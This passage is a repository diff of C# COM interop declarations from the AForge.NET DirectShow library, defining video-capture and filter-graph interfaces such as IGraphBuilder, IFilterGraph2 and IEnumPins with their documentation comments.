/// <param name="startCookie">Value that is sent as the second parameter of the
|
||||
/// EC_STREAM_CONTROL_STARTED event notification.</param>
|
||||
/// <param name="stopCookie">Value that is sent as the second parameter of the
|
||||
/// EC_STREAM_CONTROL_STOPPED event notification.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ControlStream(
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid category,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid mediaType,
|
||||
[In] [MarshalAs(UnmanagedType.Interface)]
|
||||
IBaseFilter filter,
|
||||
[In] long start,
|
||||
[In] long stop,
|
||||
[In] short startCookie,
|
||||
[In] short stopCookie
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Preallocate a capture file to a specified size.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">File name to create or resize.</param>
|
||||
/// <param name="size">Size of the file to allocate, in bytes.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AllocCapFile(
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string fileName,
|
||||
[In] long size
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Copy the valid media data from a capture file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="oldFileName">Old file name.</param>
|
||||
/// <param name="newFileName">New file name.</param>
|
||||
/// <param name="allowEscAbort">Boolean value that specifies whether pressing the ESC key cancels the copy operation.</param>
|
||||
/// <param name="callback">IAMCopyCaptureFileProgress interface to display progress information, or NULL.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CopyCaptureFile(
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string oldFileName,
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string newFileName,
|
||||
[In] [MarshalAs(UnmanagedType.Bool)] bool allowEscAbort,
|
||||
[In] IntPtr callback
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
///
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="source">Interface on a filter, or to an interface on a pin.</param>
|
||||
/// <param name="pinDirection">Pin direction (input or output).</param>
|
||||
/// <param name="category">Pin category.</param>
|
||||
/// <param name="mediaType">Media type.</param>
|
||||
/// <param name="unconnected">Boolean value that specifies whether the pin must be unconnected.</param>
|
||||
/// <param name="index">Zero-based index of the pin to retrieve, from the set of matching pins.</param>
|
||||
/// <param name="pin">Interface of the matching pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindPin(
|
||||
[In] [MarshalAs(UnmanagedType.IUnknown)]
|
||||
object source,
|
||||
[In] PinDirection pinDirection,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid category,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid mediaType,
|
||||
[In] [MarshalAs(UnmanagedType.Bool)] bool unconnected,
|
||||
[In] int index,
|
||||
[Out] [MarshalAs(UnmanagedType.Interface)]
|
||||
out IPin pin
|
||||
);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,37 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The <b>ICreateDevEnum</b> interface creates an enumerator for devices within a particular category,
|
||||
/// such as video capture devices, audio capture devices, video compressors, and so forth.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("29840822-5B84-11D0-BD3B-00A0C911CE86")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ICreateDevEnum
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates a class enumerator for a specified device category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="type">Specifies the class identifier of the device category.</param>
|
||||
/// <param name="enumMoniker">Address of a variable that receives an <b>IEnumMoniker</b> interface pointer</param>
|
||||
/// <param name="flags">Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CreateClassEnumerator([In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,71 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007-2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// This interface is used by applications or other filters to determine
|
||||
/// what filters exist in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("56A86893-0AD4-11CE-B03A-0020AF0BA770")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IEnumFilters
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the specified number of filters in the enumeration sequence.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cFilters">Number of filters to retrieve.</param>
|
||||
/// <param name="filters">Array in which to place <see cref="IBaseFilter"/> interfaces.</param>
|
||||
/// <param name="filtersFetched">Actual number of filters placed in the array.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Next([In] int cFilters,
|
||||
[Out] [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 0)]
|
||||
IBaseFilter[] filters,
|
||||
[Out] out int filtersFetched);
|
||||
|
||||
/// <summary>
|
||||
/// Skips a specified number of filters in the enumeration sequence.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cFilters">Number of filters to skip.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Skip([In] int cFilters);
|
||||
|
||||
/// <summary>
|
||||
/// Resets the enumeration sequence to the beginning.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reset();
|
||||
|
||||
/// <summary>
|
||||
/// Makes a copy of the enumerator with the same enumeration state.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumFilters">Duplicate of the enumerator.</param>
|
||||
///
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
///
|
||||
[PreserveSig]
|
||||
int Clone([Out] out IEnumFilters enumFilters);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,68 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// Enumerates pins on a filter.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("56A86892-0AD4-11CE-B03A-0020AF0BA770")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IEnumPins
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves a specified number of pins.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cPins">Number of pins to retrieve.</param>
|
||||
/// <param name="pins">Array of size <b>cPins</b> that is filled with <b>IPin</b> pointers.</param>
|
||||
/// <param name="pinsFetched">Receives the number of pins retrieved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Next([In] int cPins,
|
||||
[Out] [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 0)]
|
||||
IPin[] pins,
|
||||
[Out] out int pinsFetched);
|
||||
|
||||
/// <summary>
|
||||
/// Skips a specified number of pins in the enumeration sequence.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cPins">Number of pins to skip.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Skip([In] int cPins);
|
||||
|
||||
/// <summary>
|
||||
/// Resets the enumeration sequence to the beginning.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reset();
|
||||
|
||||
/// <summary>
|
||||
/// Makes a copy of the enumerator with the same enumeration state.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumPins">Duplicate of the enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Clone([Out] out IEnumPins enumPins);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,115 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The interface provides methods for building a filter graph. An application can use it to add filters to
|
||||
/// the graph, connect or disconnect filters, remove filters, and perform other basic operations.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("56A8689F-0AD4-11CE-B03A-0020AF0BA770")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IFilterGraph
|
||||
{
|
||||
/// <summary>
|
||||
/// Adds a filter to the graph and gives it a name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to add to the graph.</param>
|
||||
/// <param name="name">Name of the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddFilter([In] IBaseFilter filter, [In] [MarshalAs(UnmanagedType.LPWStr)] string name);
|
||||
|
||||
/// <summary>
|
||||
/// Removes a filter from the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RemoveFilter([In] IBaseFilter filter);
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for all filters in the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Filter enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumFilters([Out] out IntPtr enumerator);
|
||||
|
||||
/// <summary>
|
||||
/// Finds a filter that was added with a specified name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="name">Name of filter to search for.</param>
|
||||
/// <param name="filter">Interface of found filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindFilterByName([In] [MarshalAs(UnmanagedType.LPWStr)] string name, [Out] out IBaseFilter filter);
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins directly (without intervening filters).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectDirect([In] IPin pinOut, [In] IPin pinIn,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reconnect([In] IPin pin);
|
||||
|
||||
/// <summary>
|
||||
/// Disconnects a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect([In] IPin pin);
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock to the default clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetDefaultSyncSource();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,259 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// This interface extends the <see cref="IFilterGraph"/> and <see cref="IGraphBuilder"/>
|
||||
/// interfaces, which contain methods for building filter graphs.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IFilterGraph2
|
||||
{
|
||||
// --- IFilterGraph Methods
|
||||
|
||||
/// <summary>
|
||||
/// Adds a filter to the graph and gives it a name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to add to the graph.</param>
|
||||
/// <param name="name">Name of the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddFilter([In] IBaseFilter filter, [In] [MarshalAs(UnmanagedType.LPWStr)] string name);
|
||||
|
||||
/// <summary>
|
||||
/// Removes a filter from the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RemoveFilter([In] IBaseFilter filter);
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for all filters in the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Filter enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumFilters([Out] out IEnumFilters enumerator);
|
||||
|
||||
/// <summary>
|
||||
/// Finds a filter that was added with a specified name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="name">Name of filter to search for.</param>
|
||||
/// <param name="filter">Interface of found filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindFilterByName([In] [MarshalAs(UnmanagedType.LPWStr)] string name, [Out] out IBaseFilter filter);
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins directly (without intervening filters).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectDirect([In] IPin pinOut, [In] IPin pinIn,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reconnect([In] IPin pin);
|
||||
|
||||
/// <summary>
|
||||
/// Disconnects a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect([In] IPin pin);
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock to the default clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetDefaultSyncSource();
|
||||
|
||||
// --- IGraphBuilder methods
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Connect([In] IPin pinOut, [In] IPin pinIn);
|
||||
|
||||
/// <summary>
|
||||
/// Adds a chain of filters to a specified output pin to render it.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Render([In] IPin pinOut);
|
||||
|
||||
/// <summary>
|
||||
/// Builds a filter graph that renders the specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
|
||||
/// <param name="playList">Reserved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderFile(
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string file,
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string playList);
|
||||
|
||||
/// <summary>
|
||||
/// Adds a source filter to the filter graph for a specific file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Specifies the name of the file to load.</param>
|
||||
/// <param name="filterName">Specifies a name for the source filter.</param>
|
||||
/// <param name="filter">Variable that receives the interface of the source filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilter(
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string fileName,
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string filterName,
|
||||
[Out] out IBaseFilter filter);
|
||||
|
||||
/// <summary>
|
||||
/// Sets the file for logging actions taken when attempting to perform an operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hFile">Handle to the log file.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetLogFile(IntPtr hFile);
|
||||
|
||||
/// <summary>
|
||||
/// Requests that the graph builder return as soon as possible from its current task.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Abort();
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether the current operation should continue.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ShouldOperationContinue();
|
||||
|
||||
|
||||
// --- IFilterGraph2 methods
|
||||
|
||||
/// <summary>
|
||||
///
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="moniker">Moniker interface.</param>
|
||||
/// <param name="bindContext">Bind context interface.</param>
|
||||
/// <param name="filterName">Name for the filter.</param>
|
||||
/// <param name="filter"> Receives source filter's IBaseFilter interface.
|
||||
/// The caller must release the interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilterForMoniker(
|
||||
[In] IMoniker moniker,
|
||||
[In] IBindCtx bindContext,
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string filterName,
|
||||
[Out] out IBaseFilter filter
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin,
|
||||
/// using a specified media type.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
/// <param name="mediaType">Media type to reconnect with.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ReconnectEx(
|
||||
[In] IPin pin,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
AMMediaType mediaType
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Render an output pin, with an option to use existing renderers only.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPin">Interface of the output pin.</param>
|
||||
/// <param name="flags">Flag that specifies how to render the pin.</param>
|
||||
/// <param name="context">Reserved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderEx(
|
||||
[In] IPin outputPin,
|
||||
[In] int flags,
|
||||
[In] IntPtr context
|
||||
);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,200 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// This interface provides methods that enable an application to build a filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("56A868A9-0AD4-11CE-B03A-0020AF0BA770")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IGraphBuilder
|
||||
{
|
||||
// --- IFilterGraph Methods
|
||||
|
||||
/// <summary>
|
||||
/// Adds a filter to the graph and gives it a name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to add to the graph.</param>
|
||||
/// <param name="name">Name of the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddFilter([In] IBaseFilter filter, [In] [MarshalAs(UnmanagedType.LPWStr)] string name);
|
||||
|
||||
/// <summary>
|
||||
/// Removes a filter from the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RemoveFilter([In] IBaseFilter filter);
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for all filters in the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Filter enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumFilters([Out] out IEnumFilters enumerator);
|
||||
|
||||
/// <summary>
|
||||
/// Finds a filter that was added with a specified name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="name">Name of filter to search for.</param>
|
||||
/// <param name="filter">Interface of found filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindFilterByName([In] [MarshalAs(UnmanagedType.LPWStr)] string name, [Out] out IBaseFilter filter);
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins directly (without intervening filters).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectDirect([In] IPin pinOut, [In] IPin pinIn,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reconnect([In] IPin pin);
|
||||
|
||||
/// <summary>
|
||||
/// Disconnects a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect([In] IPin pin);
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock to the default clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetDefaultSyncSource();
|
||||
|
||||
// --- IGraphBuilder methods
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Connect([In] IPin pinOut, [In] IPin pinIn);
|
||||
|
||||
/// <summary>
|
||||
/// Adds a chain of filters to a specified output pin to render it.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Render([In] IPin pinOut);
|
||||
|
||||
/// <summary>
|
||||
/// Builds a filter graph that renders the specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
|
||||
/// <param name="playList">Reserved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderFile(
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string file,
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string playList);
|
||||
|
||||
/// <summary>
|
||||
/// Adds a source filter to the filter graph for a specific file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Specifies the name of the file to load.</param>
|
||||
/// <param name="filterName">Specifies a name for the source filter.</param>
|
||||
/// <param name="filter">Variable that receives the interface of the source filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilter(
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string fileName,
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string filterName,
|
||||
[Out] out IBaseFilter filter);
|
||||
|
||||
/// <summary>
|
||||
/// Sets the file for logging actions taken when attempting to perform an operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hFile">Handle to the log file.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetLogFile(IntPtr hFile);
|
||||
|
||||
/// <summary>
|
||||
/// Requests that the graph builder return as soon as possible from its current task.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Abort();
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether the current operation should continue.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ShouldOperationContinue();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,119 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The interface provides methods for controlling the flow of data through the filter graph.
|
||||
/// It includes methods for running, pausing, and stopping the graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("56A868B1-0AD4-11CE-B03A-0020AF0BA770")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsDual)]
|
||||
internal interface IMediaControl
|
||||
{
|
||||
/// <summary>
|
||||
/// Runs all the filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
